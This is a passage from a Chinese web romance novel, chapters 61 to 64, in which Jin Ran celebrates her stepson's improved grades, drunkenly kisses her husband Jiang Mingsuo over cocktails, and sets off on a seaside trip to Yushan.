女生们没想到他答应得这么爽快,喜出望外:“一分钟就好!我们拍个照马上还你!” 见他这么好说话,其他观望的同学也纷纷围上来借阅,原本说好的半分钟,转眼就拖成了半小时。 江许黎非但没生气,反而对最后一位借阅的同学说:“不急,我可以再等你十分钟。” 一度让同学的速度更快了。 随着成绩单的发放,文承中学的学生们正式迎来了暑假。 这次期末考试,不仅江许黎取得了惊人的进步,就连常年稳居倒数席位的陈训良也实现了飞跃式提升。 “我妈这次非得给我买那双球鞋不可!上次她嫌弃我成绩太差死活不给买,现在看她还找什么借口!” 语气看似抱怨,话里话外却能听出母子俩关系的亲近,陈训良本来还想问江许黎要什么礼物,却突然想起江叔叔严厉的家教,印象中黎哥似乎从未收到过奖励 陈训良顿时懊悔不已,急忙改口:“其实奖励也没什么意思,要不我们一起去游戏城玩个两天两夜?” “不了,”谁知江许黎居然拒绝了,少年嘴角微微上扬,“这个暑假我要去虞山。” 陈训良愣了愣,没有反应过来:“去虞山干什么?” 江许黎看了他一眼,语气要多轻描淡写就多轻描淡写:“没什么,成绩进步的奖励。” 陈训良:“?” 正说着,走出校门的江许黎一眼看到了他爸的那辆迈巴赫。 文承中学虽不是贵族学校,但也不乏家境优渥的学生,只是这辆顶级豪车还是引来了不少同学的侧目和拍照。 “咦?江叔叔来接你了?” 陈训良好奇地探头张望。 江许黎却清楚记得父亲今早去了公司,能开这辆车的只剩下……他心头微动,匆匆和陈训良道别后便快步走向车子,拉开车门,果然看到了坐在副驾驶座的金苒。 “总算放学了?上车吧。”金苒对他笑道。 尽管疑惑她为何会好心来接自己,现实中,江许黎还是习惯性地坐进了后排座位。 车子平稳地驶离学校,车厢内一时陷入安静。 不过没一会儿,金苒就耐不住寂寞回头和江许黎聊天,或许出于某种隐秘的心理,趁着这个时候,江许黎动作自然地将书包搁在膝上,故意没拉紧拉链,让试卷一角露在外面。 金苒注意到了,想起今天是学生领成绩的日子,便问:“考的怎么样?” 江许黎矜持地点点头:“还可以。” 事实上,这个成绩对他来说已是超常发挥,心底难免泛起一丝隐秘的骄傲。他悄悄抬眼,等着金苒继续追问,却见她只是点点头,又转回去和司机聊起别的事。 江许黎:“……” 少年嘴角绷紧了,他不可置信地瞪着前排的身影,瞪一会儿,又一会儿,金苒始终没有再回头。 最后猛地把试卷塞回书包,拉链拉得哗啦响,略有些赌气地想——只不过一次成绩进步,确实没什么值得炫耀的。 心里明明这样告诉自己,情绪却控制不住地低落,直到车子停住,他机械地跟着下车,心思还放在刚才的事情中,以至于根本没有注意到周围的环境,然后亦步亦趋被金苒领着来到一个地方。 “我记得当时吃烧烤的时候你说想吃火锅,正好这次月考进步了十二名,经过我的提议,你爸的经济赞助,决定全家一起吃火锅庆祝!” 站在火锅城的门口,金苒笑眯眯宣布今天的行程。 什么叫峰回路转? 什么叫柳暗花明? 被惊喜砸中的江许黎第一想法,原来人懵的时候脑袋居然会嗡嗡响。 那一刻,他仿佛站在上帝视角,听见自己用有些沙哑的嗓音问:“你怎么知道我成绩进步?” 好吧,他其实想问的不是这个问题。 但真正想问的问题他有点儿说不出口,于是干脆顺势而为。 闻言,金苒眼神飘忽,略有些心虚:“咳,你也不想想我是谁啊,你们班主任还来找我聊你的数学成绩呢。” 可江许黎根本没有注意到女人的不自然,此时此刻,他心里只有一个想法,原来她不是不关心,而是早就知道了。 甚至,她还记着他的喜好,默默带他来庆祝。 心底积压的阴霾忽然被一阵风吹散,他抿了抿唇,尽管再控制,嘴角还是勾起来。 半个小时后,江明羧也过来了。 这家火锅店就在明技科技的附近,三人点了鸳鸯锅,一个菌菇一个麻辣,又拿了许多荤素搭配的菜品。 轮到点饮料时,江许黎突然开口:“要喝奶茶吗?我请客。” 面对两人投来的好奇目光,他有些不自在地补充道:“礼尚往来……而且你教的数学确实有用,这次能考好也有你的功劳。” 短短一句话,脸已经红成了番柿子,金苒只当没有看见少年的不自在,孩子有时候还是需要自尊心的~ 她当仁不让举手:“好啊,那我点一杯最贵的,小料全加!” 江许黎见她如此反应,也跟着松弛下来,而后听见要求,忍不住怼了一句:“你喝粥呢。” “要你管,到底请不请啊?” “请请请!”他撇撇嘴,简直被她这副逮着机会就薅羊毛的样子气笑了,转头看向父亲时,语气又变得拘谨起来:“爸…您要喝点什么?” 江明羧沉思了下,在亲生儿子紧张的心情中淡定开口:“给我也来一杯粥。” 江许黎:“……” 最后,外卖小哥送来了三杯一模一样的全家福奶茶粥。 吃完饭,太阳刚过头顶,江明羧需要回公司继续上班,临走的时候,他看着欲言又止的江许黎,说:“虞山不如家里,你要是过去,可没有那么多人照顾你,吃穿用度也不会和现在一样,想好了么?” 这是答应江许黎回老家了。 明白这一点,江许黎松了口气,至于他爸说的问题,十五六的高中生正是天不怕地不怕,敢称第一没有称第二的年纪,什么生活条件差、没人照顾,这些担忧在他眼里根本不值一提——父亲当年能在那地方长大,他又有什么不能适应的? “我想好了。”他回答得斩钉截铁。 江明羧点点头,没有再多说什么:“我让王助理给你们买票。” “你们?” 旁边的金苒忽然笑起来:“对啊,是我们,我要和你徐老师去虞山玩,不介意一起同行吧?” 江许黎看了面前的两个人一眼,总觉得里面有什么他不知道的事情,最后无奈地小声嘟囔:“随便,我又管不着你。” 第62章 第62章这算不算间接接吻 事情就这样定下来。 虞山是W市底下的一个小地方,原本只是个以渔业养殖为主的普通三线小城,今年借着“最美味的鱼在虞山”的网红营销,竟异军突起成为W市的旅游新名片。 虽然此行有照看继子的兼职, 但另一方面,金苒也确实想借机放松心情,出发前,她认真为这趟旅行准备行李。 泳衣是必须的,去海边怎么能不享受海水呢,此外还有各种防晒物品,海边的阳光看似温柔,实则毒辣,稍不留神就能把人晒脱一层皮。 防晒带了,护肤品和化妆品肯定也得带吧?既然化了妆,美美的小裙子必不可少……收拾着收拾着,最后收拾出满满两个大箱子。 见状,只带了几件换洗衣裳的江许黎嘴角抽了抽, 知道的是旅游,不知道还以为要搬家。 不过,她带了那么多东西,而他只带一个背包是不是不划算?要不也准备点儿其他东西? 出发前的前一天晚上,金苒突然有些睡不着。 辗转反侧许久,还是裹着羊绒毯走出卧室。 整栋别墅沉睡在黑暗里,唯有楼下客厅的吧台处亮着一盏琥珀色的盐灯。 江明羧背对而立,正用冰夹从桶中夹取方冰。 雾气顺着杯壁爬升,模糊了男人脸上的表情,只高耸的玻璃酒柜,棕金调调出酒晕,映衬在白衬衫上,仿佛烤箱一百八十度下膨胀的面包胚子:“失眠?” 他闻声回过头,发梢的水珠滑过眉骨,那些短硬的头发即便沾湿也倔强地支棱着,让金苒想起自己不知从哪看过的说法—— 拥有这样发质的人性格大多倔强,颇有些不撞南墙不回头的气质。 别说,江许黎也是这样的发质,只能说不愧是父子俩。 漆黑的夜,头顶开一小盏盐灯,天然结晶纹理的光影顷刻洒下,在大理石的吧台上揉碎细腻的斑驳,金苒注意到江明羧的衬衫袖口卷到手肘处,晃动杯壁时,在冰块撞击的清脆声中,结实的小臂青筋乍现。 “有一点,可能要出去玩太激动了。” 她自然而然走近了些,下巴搁在交叠的手臂上,真丝睡袍的袖管顺势滑落,露出半截瓷白的胳膊,隔着不到半米的距离,金苒注视着认真调酒的男人,之前她还好奇别墅里为什么会建一个造价不菲的英式吧台,现在看来分明是江明羧要求的。 这个男人居然还会调酒? 她不禁为他的“多才多艺”而感到赞叹,那边,江明羧仿佛能够猜透她的想法一般:“学生时代打过许多工,那时候学的。” “别人打工都是为了赚钱,你还能学习技能,真的好厉害哦。” 闻言,江明羧笑出声:“没你想的那么高大上,我也是为了赚钱,虞山那地方别看这几年出名,以前可以算得上穷乡僻野,能做的工作不多,恰好调酒赚得多一点。” 当时的他连饭都吃不饱,每天睁开眼就是房租和学费。沉重的生活压力压在十几岁的少年肩膀上,那怕心中有想法也无能为力,只想着要尽一切办法赚钱罢了。 所以,归根结底,他的底色和其他人没什么区别。 江明羧说的轻描淡写,金苒却仿佛透过时间的记忆,窥见过去的一段段画面。 原书中江明羧的学生时代过得极度困难,但具体怎么困难,作者没有详细描写,此时听着那淡淡语气,被省略的艰辛却逐渐在她脑海中变得清晰。 一时间,金苒忽然对虞山产生了几丝好奇。 面对金苒,江明羧说得更多一点:“我在那边还有认识的人,过去之后他会接应你们,有事情也可以找他。” “虞山市区有一套房子,是我上大学的时候租的,后来干脆买了下来,我已经让人收拾出来,如果不想住酒店就去那里。” 不管他说什么,金苒都很是乖巧地点点头:“好啊,我都听你的。” 几次之后,江明羧抬眸看了她一眼,好笑道:“这么听话?” “你是东道主,我一个外地人当然要听你的啊。”金苒眉眼弯弯像窗外的明月似的,随即她想到另外一件事情,“你在虞山是不是还有亲戚啊,要让小黎去见一见吗?” 其实她想说的是,江许黎回去是为了找亲生母亲,肯定要向那些亲戚询问情况,但她听说江明羧与老家的那些亲戚并不来往,怕出差错故而先提前打探一下。 江明羧语气倒还算平静,“你们不找他们,他们也会找你们,愿意搭理就搭理一下,不愿意搭理就远离,他们现在大概也不敢做什么。” 毕竟他那个大伯还在里面关着,剩下的那些人即便抱着故技重施的打算,如今想必早就吓破了胆子,不巴结着就算了,哪里还敢欺负金苒和江许黎。 金苒便知道江明羧私下做了什么,他这般笃定,她也就没有什么好担心的了,反正这男人再冷情,也不会拿亲生儿子开玩笑。 转而有兴趣地看放在吧台上的酒水,身子往前凑凑,鼻尖小动物似的耸啊耸:“这个是什么味道的?” “尼格罗尼,金酒的凛冽,金巴利的苦涩,甜味美思的细腻,三种混合一起,味道尝起来有点儿丰富,”他描述着酒水的味道,同时手上动作未停,橙红色的液体倒入高脚杯中,捕捉到落日大片夕阳:“要不要来点儿?” 金苒有些意动。 她是能喝酒的,只不过酒量普通,喝一点点就会发困,上次在星空影院睡着误亲了江明羧的事情还历历在目。 但另一方面,她今晚的精神的确有些活跃,想着明天要早起登车,或许可以喝点儿酒助眠。 思及此,金苒浅笑着抬起眸子:“你可能不知道,我只要喝一点儿酒就会想睡觉,有时候站着都能睡着,如果等会儿我喝睡着了怎么办啊?” 她语气懊恼,似乎很是为这个未发生的事情感到困惑,忽然,她想到了一个好办法:“如果我睡着了,你能抱我回去吗?” 江明羧动作略顿,抬头看过去,一时不知道这句话是真心还是假意。 “好。”他说道。 夜晚静谧,流转的银河带着它特有的冷清美感。 时间已过凌晨,客厅的偏僻小角,不知第多少杯尼格罗尼空了。 金苒酒量果然如她所说似的,并不算差,今天的她甚至还能保持着清醒:“江明羧你是不是掺水了,我怎么感觉越喝越清醒啊。” 都直呼他的名字了,确定没有醉? 江明羧把调酒杯拿到一边,语气平淡地解释:“尼格罗尼里面不能掺水,会影响精心平衡的风味比例,不过冰块融化后就是水,你这样说也没有错。” 金苒只选择自己想听的部分听:“我猜的果然没有错!” 她有些不满意,觉得自己被小瞧了,气性上来,仰头咕噜一下把杯子里的酒全喝了,末了砸吧砸吧甜甜的嘴唇,眼睛又盯上了旁边的杯子。 “你那杯味道是不是更好一点?” 江明羧无奈:“我们是一样的。” “我不信,除非你给我尝一尝。” 金苒坚持己见。 她总是评判旁人固执,实际自己的性格最是执拗,一旦认准什么事,无论如何也要达成所愿。 譬如此刻,那双黑白分明的杏眸转啊转,像围绕着恒星的行星,让人一看就知道在打什么鬼主意。 还没等江明羧回应,金苒便伸手去够酒杯,他下意识要拦,却晚了一步——女人的唇已经贴上杯沿,那是他方才喝过的位置。 见状,江明羧呼吸猛地滞住。 杯壁白透无瑕,饱满的唇贴合而上,唇珠微微下陷,顷刻间又被酒水打湿,头顶的夜灯变得波光粼粼,好似咬开一颗熟透的桃子,刺破表皮的霎那,汁水从里面飞溅出来。 可溅得太多了,一瞬间,到处都是清甜的桃香,萦绕不散。 罪魁祸首却毫无所察。 酒入喉咙,她轻“嘶”一声,下一秒便被辣地吐了吐舌头,粉嫩的舌尖不自觉地探出来,“果然区别对待,明明你这个味道更重点!” 江明羧突然觉得自己喉咙有些干涩。 再开口,嗓音带着沙哑的颗粒感:“同样调出来的酒水,哪里有差别?” “没有差别吗?” 金苒歪着头,酒精让她的精神格外活跃,但实际思维已经有些混乱,她确信自己尝出了不同,忽而,她眨眨眼,露出恍然大悟的表情:“是不是因为我用了你的杯子。” 尾调微微上扬,带着醉意的嗓音又软又糯,说话间,她突然撑起身子,整个人向前倾去,胸口抵在吧台边缘,湿漉漉的眼睛直勾勾盯着江明羧,一字一顿地问道: “你说我们用同一个杯子——” “算不算间接接吻啊?” 女人眼睛亮如白昼,那一刻,江明羧在里面 看到了浓浓的兴趣,好似最顽劣的孩童,对于糖果的志在必得。 第63章 第63章强吻了江明羧?! “扑——” 头顶的灯光爆破出小小的响动,在寂寥的夜晚显得格外明显。 但谁也没有在意。 吧台里外,两人相对而立,对于金苒的问题,江明羧没有立刻回答,他只是定定看着她,本就深邃的眸光更加深沉。 半晌,他开口,声音愈发喑哑:“你知道你在说什么?” 金苒挑挑眉,模样骄傲又自信,尽管不知道她在骄傲什么:“我知道啊,我们在说接吻的事情,江明羧,你和别人接过吻吗?” 她突然有些八卦起来,那点儿尚且存在的思维,早就被胆大包天的好奇所压制住,很难说,她不是借此问出自己好奇许久的事情。 再究其原因,大概她是对江明羧有点儿心动的,而他应该也有点儿。 别以为她没有看到自己喝他酒水时男人加重的呼吸,那双一动不动望向自己的眼神,如同锁定猎物的野兽,让她身体惊颤的同时又被激起了较劲的心思。 清醒时的金苒或许会审时夺度,但喝醉的她此刻只会想,谁是猎物还不一定呢。 “不是我们刚才的间接接吻,是真的接吻的那种!”她强调。 江明羧淡淡瞥她一眼。 语气说不上夸赞还是贬低,非常中性的情绪:“你好奇心挺重。” “你就说有没有吧!” 可惜江明羧并不顺着她的的问题回答,而是反问,“你呢?你和别人接过吻吗?” 金苒……当然接过。 穿书之前,她便谈过好几段恋爱,尤还记得第一段是在考入的大学的暑期。 那时候她刚脱离高中的高压学习,迫不及待想要体验自由的大学生活,而她的第一任男友是个阳光张扬的少年,两人都是第一次谈恋爱,懵懂又诚挚,便是谈恋爱也按部就班,自然也有情侣之间的牵手,拥抱,接吻。 后面的恋爱或有不同,但同样属于正常关系,所以金苒不缺乏恋爱经验。 她一时沉浸到过往的回忆中不可自.拔,丝毫没有发现对面江明羧愈发黝黑的目光。 玻璃杯落到大理石的吧台,碰撞出清亮的声响,一道黑色身影笼罩头顶,下一刻,她被捏住了下巴。 动作不算重,但也不轻,顷刻间,在皮肤上按下一个个指腹大小的窝,指尖有意无意摩挲着那片细腻:“怎么,在想和谁接吻?” 江明羧的声音在耳边响起。 金苒被问的懵了一瞬,本就不甚清醒的大脑更加混沌,只听着什么接吻,心想接吻她会啊,于是仰起头,对准近在咫尺的嘴唇贴上去。 她动作突然,属于两个人呼吸骤然交融,炽热到令人目眩头晕。 距离再次拉近,几乎没有缝隙,她闻到了他唇边醇烈的酒精味,混着若有若无的薄荷,在方寸之间织就一张无处可逃的大网。 就在双唇即将相触的刹那,江明羧倏地偏过头去。 于是金苒的吻落到了男人的唇角。 柔软的,粗糙的,带着微微的胡茬的坚硬感,擦边而过,她的唇瓣便已经摩擦地有些发红。 金苒茫然视之,不是说要接吻吗? 殊不知,她这幅样子更让江明羧下颚线绷紧。 昏暗的夜色里,那双凌厉的目光有些复杂,细看藏着些许探究和冷意,可眨眼间又消失不见。 十几分钟又或者只有几秒钟,江明羧长长叹了口气,放弃了什么,再开口,语气变得温和许多:“不要闹,你喝醉了。” “我没有喝醉!” “那你知道我是谁就要随便亲?” 江明羧定定看着她。 他其实更想问,她是不是把他当成了别人?他没有忽略那个问题后她眼中的回忆,男人脸上的表情消失殆尽,只剩下一片晦暗不明的阴翳。 他突然沉默下来,连同捏着女人下巴的手指也缓缓收了回来。 平静到仿佛方才的强势,都是错觉。 那份亲昵的暧昧也被打散,他正欲后退,结果吧台外的金苒却伸手抓住他。 “可我知道你是江明羧啊。” 金苒语气莫名有些委屈,似乎不明白江明羧为什么不相信自己。 ——知道他是江明羧,所以才会亲他。 才不是什么随便。 更让她生气的是对方质疑自己的审美,她这个人很看脸的好不好。 如果不是江明羧长得好看,哪怕这辈子他是她的丈夫,哪怕他拥有无数家产,她也不会多看她一眼! 金苒个头不算矮,接近一米七,但江明羧比她还要高出一个头,加上两人的站姿,他微微垂眸,就轻而易举看到女人的样子。 因为生气,双颊绯红,嘴巴撅得能挂油瓶。 平日的狡黠聪慧的金老师全不见了踪影,反倒透出几分娇憨可爱。 江明羧不得不承认,他是一个正常的男人。 一个有正常需求,同样审美正常的男人。 金苒长得美吗?很美,美到第一次见面时他对她的评价是“长得不错的蠢货”。 不过那时的他对她没有任何想法,他向来自负,对美色有着近乎苛刻的免疫力。年轻时同龄人对着杂志上的模特想入非非,他只觉得庸俗;后来事业有成,多少名媛千金主动投怀送抱,他也始终无动于衷。 可眼下,他发现那些引以为傲的所谓自制力,似乎也不过如此。 金苒再次垫起脚。 为了防止“猎物”逃跑,还伸手拉扯住了他领口的衬衫。 这次,她终于如愿亲到了那个看着就很好亲的唇。 和自己想象中不同,江明羧的嘴巴居然是软的,像果冻似的软嘟嘟的,触感水水润润,同他平日冷冰冰的模样迥然差异。 金苒碰了碰,又碰了碰,逐渐感觉有些无聊。 她闹着要接吻,可真正接吻后反而忘记了做什么。想要往后撤离,腰间骤然一紧,天旋地转间整个人已经被提坐在吧台上。 随后是铺天盖地落下的轻啄。 江明羧一改之前的沉默,反客为主,他绵软的唇变得锋利,气势强硬又霸道,初时还有些生涩的磕绊,在金苒无意识伸出舌尖后,对方似乎学会了什么,并举一反三。 金苒只觉得周遭空气都被抽空,双腿软哒哒的,她听不见周遭的空气,耳畔唯剩下彼此错乱的呼吸声和胸腔里炸裂的心跳。 缠来缠去,分不清你我。 后来。 “张嘴。” 胸膛起伏间,她的手已经环上了江明羧的后颈。 …… 不知道过了多久,金苒觉得嘴巴里的水都没了,有点儿渴。 她抗拒地推动身前的人,江明羧顺势退后,但没有把人松开,半拥着,呼吸低哑沉重:“怎么了?” “渴。” 江明羧一顿,起身去给她倒水,谁知等人走后,金苒居然又把刚才的酒杯端起来喝。 一口。 又一口。 眼看她越喝越多,接完水回来的江明羧不得不赶紧拿走酒杯:“别喝了,你醉了。” 金苒反驳:“我才没有喝醉,我这人喝醉会睡觉,你看我现在不是没有睡着吗?” 转而又抱怨:“哼,不就是喝你一点酒吗,真小气!你都喝了我好多!” “我什么时候喝你的了?” “刚才!从我嘴里抢的!” 江明羧:“……” 他一时错愕,但看她的样子,应该没有那种意思。 太阳穴一跳一跳,内心劝 诫自己不要和酒鬼一般见识,面上哄小孩似的:“你如果想喝,可以改天再喝,比如从虞山回来的时候。” 这话倒是提醒了金苒,她愣了愣,猛地想起自己明天还有行程:“对哦,明天还要早起。” 顿时像泄了气的皮球般蔫了下来,人老实了,困意也随之涌了上来,捂着嘴打了个哈欠,尽管如此,她没有忘记之前的约定。 坐在吧台上,朝男人伸出手:“抱我回去。” 江明羧还能怎么办,只好把人抱到怀中,一步一步往踏上楼梯。 好在三楼一片安静,没有再出现意外撞见的尴尬场景。 把金苒放到卧室的双人床上,江明羧将房间温度调到合适温度,又仔细掖好被角。 站在床边,垂眸看着床上睡着的女人。脸颊还泛着红晕,微肿的唇瓣半张着,露出几颗皓齿。他伸手想拨开她额前的碎发,却在即将触碰到的时候,停下来。 最终他什么也没有做,只是轻轻带上了房门,却没有回卧室,而是径直去了书房。 他也没有开灯,就这样静静坐在那儿,直到窗外透亮,天光破晓,黎明来到这片大地,别墅外隐约传来人流走动说话的声音。 等到在别墅工作的佣人们过来时,他才动了麻木的双脚,起身从书房走出来,嘱咐管家提前叫醒两人,自己要出去一趟。 管家一开始还以为是工作的事情,谁知江明羧并没有叫小孙,而是独自开车离开别墅。 天际的太阳逐渐爬上云端,街上的人也多了起来。 江明羧在旁人的带领下往里面走。 “刚来那几日还不服气,嚷嚷着自己背后有人,后面我们给他讲了法律,就老实了。” “辛苦你们了。” “谈不上辛苦,都是为人民服务,何况您那位大伯可不无辜。”警察表情意味深长。 走进一间探视室,铁栅栏将空间一分为二,透过玻璃隔断,能看见江大盛早已等在对侧。 看见他,江大盛立刻露出苦脸:“明羧啊,都是误会!我也是听说你在那,才答应那些人过去的,咱们可是一家人,你不能这么绝情啊!” 可无论他怎么说,江明羧都淡定地坐在外面,金属板凳冰凉,表面布满了各种划痕,他一身正装,同歇斯底里的江大盛比起来,天上地下。 说到后面,江大盛语气越来越低,最后收了声。 江明羧依旧不为所动:“这些话可以和警察说,如果没有问题,他们会放你离开。” 自然是江大盛试过了,不管用,金家宴会上发生的事小,但警察拘留的理由却是他前些年犯下的案子:“明羧啊,我可是你亲大伯,要不是我你能娶到老婆,能过上现在的好日子?!” “人不能忘本,当年的事情是那个女人的问题,和我们无关!”他眼珠子转了转,声音带着几分诱哄的意味,“你现在不是娶了新媳妇么,想必我这侄媳妇也不知道那些事情,你放心,只要你把大伯放出去,大伯绝对会看着那个女人,不让她去找你们!” 终于,江明羧有了反应。 他缓缓抬起眼睫,漆黑的眸子似笑非笑地望过去。 “同样的手段,你们还想用第二次?” 男人目光轻飘飘的,却像一把薄刃抵在咽喉,江大盛突然感觉脊背发凉,什么话也说不出来。 从没有哪一刻,江大盛意识到,江明羧已经不是当年那个任他们摆布的毛头少年了。 望着那道远去的背影,他双腿一软,颓然瘫倒在地。 / 八点钟,太阳完全挣脱出来。 阳光明媚,万里无云,是个适合出行的好天气。 宿醉过后的金苒头晕脑胀,太阳穴针扎似的跳舞。 但这都不是什么重要的,最重要的是醒来的她想起了昨晚的事情:“…………” 啊啊啊啊啊! 她到底做了什么?谁给她的胆子,居然强吻了江明羧?! 和上次的意外不同,这次是真真切切的吻,嘴唇贴着嘴唇,舌头缠着舌头,还是自己主动追着人家亲!!! 她疯了还是江明羧疯了还是这个世界疯了?!! 金苒不敢相信自己的记忆,疯狂地在床上打滚,从左边到右边,从前面到后面,连管家敲门通知她都没有听见。 她承认自己对江明羧的美色确实有那么点非分之想,但想归想,她做梦都没想到会发展成现在这样尴尬的局面! 正翻滚着试图把记忆滚出脑海,这时候,有人推开了门。 倒挂在床边的金苒和进来叫人的江明羧对上视线。 “……” 江明羧轻咳一声,仿佛这样的姿势是如此的稀松平常:“时间不早了,下楼吃饭,等会儿送你们去机场。” 第64章 第64章我会想你的! 江许黎从小含着金汤匙出生,打有记忆起就是富二代,出国旅游对他而言属于家常便饭,但这次能够去虞山,还是让他好一番激动。 出发前一夜,少年打了好几局游戏依然毫无睡意,爬起来准备下楼喝水,走到门口时忽然想到什么,把耳朵贴在门板上偷听。 外面果然有声音。 他顿时改变了主意,老老实实躺回床上,后面不知不觉中竟也睡着了。 第二天,江许黎在餐桌上看到两个人时,总觉得气氛有些奇怪。 平日里喜欢聊天的金苒今天异常安静,只顾埋头扒饭,而他爸的目光却时不时看过来,每当这时,金苒就会突然转头和他搭话。 “行李检查了吗?” “别忘了带学生证,景区票半价。” “小孩子吃饭要认真,不要摇头晃脑。” 江许黎:“……” 谁是小孩子啊。 没等他琢磨透这诡异的气氛,出发的时间就到了。 是江明羧亲自送的他们。 从别墅到机场,需要三十分钟,时间不长也不短。路上,憋了一早晨的金苒终于受不了过于安静的气氛,装作不经意地开口:“这几天的气温好像升高了,也不知道我拿的那些防晒够不够。” 江许黎玩着手机里的游戏,闻言有些没反应过来,那边,江明羧已然接话道:“虞山临海,常年有风,不会比A市热。” “可我看着气温也有三十五度呢。” “海风会带走体表的燥热,实际不会像A市那么闷,不过紫外线强,防晒不能少。” 金苒心想,恰好她是个喜欢湿润气候的,A市地处内陆,季节分明,但就是气候太干燥,这些天她每周都要蒸一次桑拿,早晚还要贴两次补水面膜,才勉强保持水嫩的皮肤状态。 想到这,忍不住偷瞄江明羧。上回在二楼公共浴室,她曾瞥见过男人的护肤品,孤零零一个黑瓶子,和她梳妆台上那些瓶瓶罐罐比起来,简直寒酸得可怜。 可偏偏就是这样,这人的脸却始终光洁清爽,连半点干燥起皮的迹象都没有。 金苒都快要郁闷了。 她决定不再对比,转而继续谈论这次的旅游:“我还是第一次去海边,听说虞山的水特别清澈,我已经迫不及待想要游泳了!” 江明羧似是回忆了会儿,点头:“虞山的海的确清澈,浅一点的地方能看到底下的海草和石头,赶海的时候在腰上系个网兜,一个猛子扎下去能摸上来半兜海胆。” “你会游泳?”闻言,金苒微微惊讶。 “海边的孩子都会游泳。”江明羧语气倒是淡定。 这样一想对方的回答很 是在理,海边的孩子会游泳,山里的孩子会爬山。 “好厉害啊,我还不会游泳呢,到时候打算找个教练。” …… 后座,江许黎偷偷竖起耳朵。 他出生后在虞山住过一段时间,但那是很小很小的时候,记忆早就模糊,此刻听到父亲的描述,不由得听入迷。 就这样一言一语中,时间悄然飞逝,三人到达机场。 徐珍早就到了,看到他们后,远远的打招呼。 等到安检口的时候,江明羧停下脚步。 “落地后记得给我发消息。” 难得,他主动说这样的话。 站台的玻璃宽敞明亮,晨光从外洒进来,于空中形成一道洒脱光路。男人高大的身影站在熙攘的人群中,鹤立鸡群,同样形单影只。 金苒看着他,抿了抿唇。 早上醒来的时候,她一直为昨晚发生的事情感到尴尬,不知道该如何面对江明羧。对方却是神色如常,仿佛什么都没发生过,这才让她渐渐放松下来。 可此刻想到即将要分离,她心里突然涌起一阵说不清道不明的不舍。 在所有人诧异的目光中,金苒松开行李箱跑出安检队伍,张开胳膊给了江明羧一个大大的拥抱。 一触即离。 广播里催促着登机的信息,耽误了时间的她不得不往回赶,只不过这次,她一边往里跑一边回头挥手,大声道:“如果忙完,可以来找我们玩啊,我…我们会想你的!” 男人似乎没料到她的行为,好一会儿才挥挥手,嘴唇动了几下。 直到人群推攘着前进,再也看不到那个身影,金苒才略有遗憾地收回视线,离得远了,她根本没有听清楚江明羧的回答。 同行的徐珍见状揶揄:“哎呀呀,这是哪来的望夫石啊。” 金苒一点也不害羞,反而笑着觑她:“你如果想望,我让江明羧给你介绍点儿青年才俊,是喜欢油麦菜霸总,还是阴湿教授,或者身体体壮的兵哥哥……” 徐珍听着越来越熟悉的人设,脸都红了,气得抬手推她:“好啊,苒苒你学坏了,看我饶不了你!” 两人嬉嬉闹闹,跟在后面的江许黎面无表情拉上被落下的行李,他怎么预感,这趟旅游恐怕不会太平静呢? A市与W市相距数百公里,但乘坐飞机仅需三小时即可抵达。 下了飞机,他们还需要转车,搭乘高铁到达虞山。这座偏僻的海边小城,邻山邻水,在高速发达的今天仍保留着原始的自然风貌,山色与海景相映成趣。 一落地,金苒就感觉到了不同。 潮湿的热浪扑面而来,呼吸中带上了海风特有的咸湿感,温度的确要比A市内低,偶尔一阵海风吹过,推着天上的云朵缓缓移动,在地面投下斑驳的光影。 不过再凉快,也有三十多度。 三人看着头顶的大太阳,决定先找地方休息。 虽然江明羧表示他在虞山有房产,但金苒考虑到同行的还有徐珍,怕对方不自在,思来想去还是没有过去,而是提前预约了一家酒店。 三人根据地图找到落脚的地方,躺在冰冰凉凉的空调房,吃着路上买的西瓜,才终于有活过来的感觉。 好热啊。 身上也黏黏的,像在史莱姆泥里滚了一圈。 金苒有些受不了,她发现湿润的空气也没有想象中那么好。 于是入住酒店的第一件事情便是洗澡,等清清爽爽从浴室出来后,她收到小群里的消息——为了方便联系,来之前金苒特意拉了一个小群,徐珍和江许黎都在里面。 除了帅一无所有:【(一条链接)】 珍珠奶茶:【哇,居然有自助大餐,这个酒店真不错!(饿魔退散.jpg)】 除了帅一无所有:【要不要吃?】 珍珠奶茶:【吃吃吃!(小猫拿筷子.jpg)】 除了帅一无所有:【@备课汉姆,人呢?】 后面因为金苒去洗澡了,所以并没有立刻回复。 这会儿,她点开视频,发现江许黎发的是一个直播视频,直播的地方就是他们这家酒店的资助餐厅。 另外两个人已经去探路了,金苒在群里应了一声,也打算过去和他们汇合。 第一次出门旅行,单独换洗衣物她便带了两大箱子,从中挑出一件高腰吊带裙,薄荷绿的颜色清爽明亮,像是把夏天穿到了身上。 往电梯方向走的时候,她突然想起还没有和江明羧报备,于是又拿起手机给对方发了一条消息。 备课汉姆(考不过教师编不改名版本):【我们到啦,虞山真美!空气真清新,气温也真的很热!】 这次对方居然很快就回复了。 【现在的时间是一天中最热的,如果想要玩的话可以晚点儿再出门】 【嘿嘿,正好有这个打算(小猫心有灵犀.jpg)】 金苒聊天很喜欢用表情包,觉得表情包可以表达出许多文字无法表达出来的情绪,不过来到这个世界后,她的表情包大多数都是从徐珍那儿偷的。 以至于眼下和江明羧聊天,她不得不临时去找一些可爱的表情包。 意识到自己在做什么,金苒脸颊微微发烫。 而后她很快镇定下来,既然决定要发展这段关系,该有的姿态还是要做足的。 当然,金苒虽然有意,却不会太过主动。 在她看来,恋爱固然要平等,但女孩子还是该保留几分矜持。大部分男人骨子里都存在着劣根性,太容易得到的东西不会珍惜,所以她只打算给些若有似无的暗示,剩下的,自然是该江明羧来主动。 正低头发消息的金苒,完全没注意到周遭环境,冷不防被一个匆忙路过的行人撞了个趔趄。 “对不起对不起。” 那人立刻道歉,金苒抬起头,才发现是一个年轻的男生。 而对方看清她的面容后明显一怔,随即涨红了脸,手足无措地站在原地,那副样子让金苒以为自己是什么可怕的洪水猛兽,她无奈道:“我没事,你走吧,下次记得小心点。” “真的不好意思。” 男生挠挠头,却没有立刻离开,目光落在她手中的门牌上:“你也是去自助餐厅吗?” “嗯。” “太巧了!我看直播说这个酒店会特供帝王蟹……”男生眼睛亮亮的,不知是为帝王蟹还是其他,“那个,要不一起过去?” 金苒想着反正两人顺路,也就没有拒绝。 撞人的男生很善谈,乘坐电梯下楼的这么一会儿,金苒已经知道了对方是W大学的学生,暑假出来玩,听到金苒第一次来,还热情给金苒介绍了许多好玩的地方。 等到了餐厅,金苒看到徐珍和江许黎,主动和对方告别:“我先去找我朋友了。” 男生心里有些失落,想要开口要联系方式,结果犹豫的功夫,金苒已经走远了。 / “那是谁啊?” 